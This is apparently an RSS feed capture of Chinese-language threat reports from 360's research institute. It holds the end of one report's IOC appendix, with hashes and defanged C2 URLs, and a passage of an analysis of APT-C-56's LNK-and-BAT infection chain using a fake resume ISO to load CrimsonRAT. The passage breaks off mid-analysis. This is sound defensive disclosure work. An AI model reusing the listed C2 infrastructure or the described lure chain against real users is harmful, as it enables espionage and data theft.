10px;background-color:#f2f2f2;flex-shrink:0;box-sizing:border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin:0;padding:0;line-height:1.75em;letter-spacing:1.5px;font-size:17px;box-sizing:border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><p style="margin:8px 0;display:block;"><span style="color:#333;text-align:justify;text-indent:28px;font-size:17px;"><span leaf="">加载等手法，使恶意流量与正常业务通信高度趋同，大幅降低了传统检测机制的识别概率。这些特征表明，该组织的工具链正朝着更隐蔽、更灵活的方向持续演进。因此在这里提醒用户提升安全意识，警惕来历不明的链接和文件，避免因一次无防备的点击而导致机密情报与核心数据泄露。</span></span></p></div></div></div></div></div></div></div><div data-role="paragraph" style="margin: 0px;padding: 0px;box-sizing: border-box;"><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="title" data-tools="135编辑器" data-id="85638" style=""><div style="margin: 2em auto 0px;padding: 0.5em 0px;white-space: normal;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid rgb(204, 204, 204);display: block;font-size: 15px;font-style: normal;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);box-sizing: border-box;font-family:inherit;"><p style="margin-top: -1.2em;text-align: center;padding: 0px;border: none;line-height: 1.4;box-sizing: border-box;"><span style="font-size:15px;"><strong><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);font-style: normal;padding: 8px 23px;text-align: center;text-decoration: inherit;font-family:inherit;"><span leaf="">附录 IOC</span></span></strong></span></p></div></div><div data-role="paragraph"><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;font-weight: bold;">MD5</span></span></p></div></div><p style="font-size: 15px;line-height: 1.6em;color: rgb(51, 51, 51);margin: 8px 0px;text-indent: 0px;"><span leaf="">04272144d33668f99f7cf2255289e351</span></p></div></div><p style="font-size: 15px;line-height: 1.6em;color: rgb(51, 51, 51);margin: 8px 0px;text-indent: 0px;"><span leaf="">3c64c75c9e6a3da7fbc766deb2081219</span></p><p style="font-size: 15px;line-height: 1.6em;color: rgb(51, 51, 51);margin: 8px 0px;text-indent: 0px;"><span leaf="">7479bedf5813a1527199f8958e898d19</span></p><p style="font-size: 15px;line-height: 1.6em;color: rgb(51, 51, 51);margin: 8px 0px;text-indent: 0px;"><span leaf="">9ae48e0ce0dfcac0245237fa220dd52d</span></p><p style="font-size: 15px;line-height: 1.6em;color: rgb(51, 51, 51);margin: 8px 0px;text-indent: 0px;"><span leaf="">7479bedf5813a1527199f8958e898d19</span></p><h3 style="font-size: 17px;font-weight: bold;color: rgb(0, 0, 0);margin: 8px 0px;letter-spacing: 0.5px;"><span leaf=""><span textstyle="" style="font-size: 15px;">C&amp;C:</span></span></h3><p style="font-size: 15px;line-height: 1.6em;color: rgb(51, 51, 51);margin: 8px 0px;text-indent: 0px;"><span leaf="">http[:]//217[.]60[.]36[.]94/unicorn/uni.txt</span></p><p style="font-size: 15px;line-height: 1.6em;color: rgb(51, 51, 51);margin: 8px 0px;text-indent: 0px;"><span leaf="">http[:]//217[.]60[.]36[.]94/unicorn/mort[.]php</span></p><p style="font-size: 15px;line-height: 1.6em;color: rgb(51, 51, 51);margin: 8px 0px;text-indent: 0px;"><span leaf="">http[:]//38[.]180[.]204[.]13/unicorn/mort[.]php</span></p><p style="font-size: 15px;line-height: 1.6em;color: rgb(51, 51, 51);margin: 8px 0px;text-indent: 0px;"><span leaf="">http[:]//38[.]180[.]204[.]13/unicorn/uni.txt</span></p><p style="font-size: 15px;line-height: 1.6em;color: rgb(51, 51, 51);margin: 8px 0px;text-indent: 0px;"><span leaf="">107[.]172[.]249[.]140[:]443</span></p><div style="margin:2em auto 0;padding:0.5em 0;border-top:1px solid #ccc;display:block;font-size:15px;color:#a6a6a6;box-sizing:border-box;"><p style="margin-top:-1.2em;text-align:center;padding:0;border:none;line-height:1.4;box-sizing:border-box;"><span style="font-size:15px;"><strong><span style="background-color:#0f0f19;color:#fff;padding:8px 23px;text-align:center;"><span leaf="">参考链接</span></span></strong></span></p></div><p style="font-size: 15px;line-height: 1.6em;color: rgb(51, 51, 51);margin: 16px 0px 0px;text-indent: 0px;"><span leaf="">[1]<a href="https://mp.weixin.qq.com/s/Ibz3FeA7twg-VCujA3cV_g" target="_blank">https://mp.weixin.qq.com/s/Ibz3FeA7twg-VCujA3cV_g</a></span></p><p style="font-size:15px;line-height:1.6em;color:#333;margin:8px 0 0;text-indent:0;"><span leaf="">[2]<a href="https://dev.to/excalibra/north-korea-linked-hackers-use-github-as-c2-infrastructure-to-attack-south-korea-47aa" target="_blank">https://dev.to/excalibra/north-korea-linked-hackers-use-github-as-c2-infrastructure-to-attack-south-korea-47aa</a></span></p><p style="font-size:15px;line-height:1.6em;color:#333;margin:8px 0 0;text-indent:0;"><span leaf="">[3]<a href="https://www.fortinet.com/fr/blog/threat-research/dprk-related-campaigns-with-lnk-and-github-c2" target="_blank">https://www.fortinet.com/fr/blog/threat-research/dprk-related-campaigns-with-lnk-and-github-c2</a></span></p><div style="margin:10px auto;"><div style="font-size:14px;text-align:justify;letter-spacing:1.5px;line-height:1.75em;color:#3e3e3e;"><p><span style="color:#be191f;font-size:15px;"><strong style="font-family:微软雅黑,sans-serif;"><span leaf="">360高级威胁研究院</span></strong></span></p><p style="margin:0;padding:0;text-align:justify;letter-spacing:0.5px;line-height:1.5em;box-sizing:border-box;"><span style="color:#888;font-size:15px;font-family:微软雅黑,sans-serif;"><span leaf="">360 高级威胁研究院隶属于360安全能力中心，负责高级威胁高位能力研究。集结顶尖 APT 威胁狩猎专家，专注于高级威胁的发现、防御、处置和研究，曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的 0day 在野攻击，独家披露多个国家级 APT 组织的高级行动，赢得业内外的广泛认可，为 360 保障国家网络安全提供有力支撑。</span></span></p></div></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



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      <pubDate>Thu, 10 Sep 2026 17:30:00 +0800</pubDate>
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    <item>
      <title>APT-C-56（透明部落）近期攻击活动分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&amp;mid=2247508875&amp;idx=1&amp;sn=39ad939372621e4f7bc675dda5b0d7b3</link>
      <description>APT‑C‑56（透明部落）为南亚背景 APT 组织，针对印度及周边国家实施网络间谍活动，擅长社会工程投毒，自研 CrimsonRAT 等远控工具。360 高级威胁研究分析中心捕获其两类共用基础设施的载荷，借助 LNK 与脚本链路加载后门，窃取敏感数据。</description>
      <content:encoded><![CDATA[<p><span>高级威胁研究院</span> <span>2026-09-03 17:50</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=dd0b5dac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FEmmib7pWXrXI71ibia5b4OmeQkOLGmzDzLibHVWL7rFBNicXialBtS3boKrNhCzbchpQu8myLLBCOH40ZsjeSebFt55oLJ82Zj0quaZWRnPRF6s20%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>APT‑C‑56（透明部落）为南亚背景 APT 组织，针对印度及周边国家实施网络间谍活动，擅长社会工程投毒，自研 CrimsonRAT 等远控工具。360 高级威胁研究分析中心捕获其两类共用基础设施的载荷，借助 LNK 与脚本链路加载后门，窃取敏感数据。</p>
  <div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="102539"><div style="margin: 10px auto;text-align: left;"><div style="background: #f2f2f2;"><div style="box-sizing: border-box;padding:1em 1em;"><div style="display: flex;justify-content:  space-between;align-items: flex-end;" hm_fix="312:231"><div style="display: flex;justify-content: space-between;flex-direction: column;align-items: flex-start;border-left: 4px solid #be191f;box-sizing: border-box;"><p data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 0px 0em 3px;color: #322828;margin-left: 12px;border-bottom: 1px solid #be191f;font-style: italic;box-sizing: border-box;"><span style="font-size: 18px;"><strong><span leaf="">APT-C-56</span></strong></span></p><p data-brushtype="text" style="letter-spacing: 1.5px;padding: 4px 0em 0px;color: #be191f;font-style: italic;box-sizing: border-box;"><span style="font-size: 18px;"><strong><span leaf="">透明部落</span></strong></span></p></div></div><div data-autoskip="1"><p style="margin-top: 8px;margin-bottom: 8px;text-align: justify;text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">APT-C-56（透明部落，Transparent Tribe），又称APT36、ProjectM、C-Major，是一个具有南亚背景的高级持续性威胁组织，长期针对印度及周边国家政府、国防、外交以及关键行业开展网络间谍活动。该组织擅长利用社会工程学实施鱼叉式攻击，通过恶意Office文档、钓鱼邮件、伪造网站等方式传播恶意载荷，并开发了CrimsonRAT等专属远控工具，实现目标系统控制与敏感信息窃取。近年来，透明部落持续扩展攻击能力、包括跨平台攻击组件以及多样化C2基础设施开展长期驻留活动。</span></p></div></div></div></div></div><div data-role="paragraph"><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="105196"><div data-tools="135编辑器" data-id="105196"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);" data-ignore-dm="text-bg-gradient"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;" data-ignore-dm="low-contrast"><span leaf="">一、概述</span></span></strong></p></div></div></div></div></div></div></div></div></div><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">近期，360高级威胁研究院捕获到了APT-C-56(透明部落)组织投递的两类截然不同，但共</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">用同一个网络基础设施的攻击载荷。</span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">其投递的多类攻击载荷均采用LNK文件结合脚本执行链路，最终加载CrimsonRAT后门或其自研Golang远控程序，实现对目标主机的持续控制和敏感信息窃取。</span></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="105196"><div data-tools="135编辑器" data-id="105196"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);" data-ignore-dm="text-bg-gradient"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;" data-ignore-dm="low-contrast"><span leaf="">二、攻击活动分析</span></span></strong></p></div></div></div></div></div></div></div><h2><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">1.</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">攻击流程分析</span></span></h2><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">本次攻击活动主要涉及两类攻击载荷，攻击者均采用“诱饵文件+快捷方式文件+脚本执行”的多阶段加载方式进行传播。攻击者首先通过伪装后的镜像文件或压缩包作为诱饵，引导目标用户打开其中携带的LNK文件。用户执行LNK后，进一步触发隐藏的BAT脚本，利用脚本完成后续恶意代码加载与执行。该攻击活动包含两条主要攻击链：其一通过释放并运行CrimsonRAT后门程序，实现对受害主机的远程控制与信息收集；其二则加载“透明部落”组织自研的Golang远控木马，依托建立的远程通信通道完成主机控制与敏感数据窃取。两类攻击路径虽载荷与实现机制各异，但核心战术目标高度一致，均旨在夺取系统权限、维持持久化访问并实施定向情报窃取。</span><o:page></o:page></p><p style="text-align:center;"><span style="font-size:14.0pt;mso-bidi-font-size:16.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7667057444314185" data-w="853" style="width:553.739990234375px;height:424.53997802734375px;" src="https://wechat2rss.xlab.app/img-proxy/?k=bd185d93&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLbEpYFe4udmeA89ia3vic8yMPJWdTJReuxXVWgHvqCNahIcy1M3cicGqwY6SDTd7O0ibTgAc1MYbcyr9HXUu9yu8WlyicRlvdJUmqw%2F640%3Fwx_fmt%3Dpng"/></span></span><o:page></o:page></p><h2 style=""><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">2.恶意载荷分析</span></span></h2><h3><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">2.1.</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">ISO文件分析</span></span></h3><p style="text-indent:21.0pt;"><span style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">ISO</span></span><span style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">镜像文件的具体信息如下</span></span><span style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">：</span></span></p><table style="margin-left: 0.0;border: none;border-collapse: collapse;mso-border-top-alt: solid windowtext 0.5pt;mso-border-left-alt: solid windowtext 0.5pt;mso-border-bottom-alt: solid windowtext 0.5pt;mso-border-right-alt: solid windowtext 0.5pt;mso-padding-alt: 0pt 5.4pt 0pt 5.4pt;width: 100%;"><tbody><tr><td data-colwidth="132" width="132" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">MD5</span></span></p></td><td data-colwidth="421" width="421" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">411460a835461658ea596a9f52826e65</span></span></p></td></tr><tr><td data-colwidth="132" width="132" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">文件大小</span></span></p></td><td data-colwidth="421" width="421" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">22.1 MB (23,259,136 字节)</span></span></p></td></tr><tr><td data-colwidth="132" width="132" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">文件名</span></span></p></td><td data-colwidth="421" width="421" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">My Resume.iso</span></span></p></td></tr></tbody></table><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">该镜像</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">文件中内嵌了一个名为“My Resume.pdf.lnk”的LNK文件和一个名为“doxc”的文件夹。</span></p><p style="text-align:center;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.19918032786885245" data-w="1220" style="width:477.05999755859375px;height:96.82000732421875px;" src="https://wechat2rss.xlab.app/img-proxy/?k=39e3e08e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKKv2yyx6O00tm18QsABvbg0tLSic9AuE62KR7QPZHBD7dF8FPliafecQnggoSVUSWQw1mLUMthACukEc6icykTj4kEIkCaUAacng%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在名为“doxc”的文件夹内共包含四个文件：一是伪装为PDF文档的“doxc”文件，二是“doxc.bat”批处理脚本，三是CrimsonRAT后门木马的“doxcm”文件，四是名为“My Resume.pdf.lnk”的快捷方式文件。</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">其中</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">两个名为“My Resume.pdf.lnk”的LNK文件目的都是为了执行doxc.bat文件。</span></p><p style="text-indent: 21pt;text-align: center;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.22435897435897437" data-w="624" style="width: 457.04px;height: 102.51px;" src="https://wechat2rss.xlab.app/img-proxy/?k=8b0d9b83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJdZPZIBwkSkPgrIPpglKQF4GRf87wOxHfEuluFTg4QOdJP6Z11hZ4IskoJjqZW2BmTgl6HnRNlBictPpycU8mtOLhQ2Jk7szV0%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">当执行doxc目录外的</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">“My Resume.pdf.lnk”之后，会通过cmd.exe执行“doxc\doxc.bat”BAT脚本文件。</span><o:page></o:page></p><p style="text-indent: 21pt;text-align: center;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.37733887733887733" data-w="962" style="width: 482.33px;height: 181.99px;" src="https://wechat2rss.xlab.app/img-proxy/?k=b179a108&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLHOdEZuuia9icfWWZr2icicLksnCCAuH73XNOqgIReUDibyvw69I7icKkDdbicDUQVDPCArXUPsmiagFjM84GbynFaSwaaYUfsU0Eyrso%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">doxc.bat首先会将伪装文件“doxc\doxcm”复制到“C:\ProgramData\My_Resume.pdf”并打开，以迷惑受害者。</span></p><p style="text-indent: 21pt;text-align: center;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1648780487804878" data-w="1025" style="width: 553.74px;height: 91.27px;" src="https://wechat2rss.xlab.app/img-proxy/?k=63488465&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXIvMXBJ51KZsq6v2oW9jNMlFPsV9BVIEDBPmcgnUvNGwOz4PXouSiceTk1ibh2bMicWuGboFK5lg5EUjCCbdpDOEzGH9LqhjbHw5c%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: 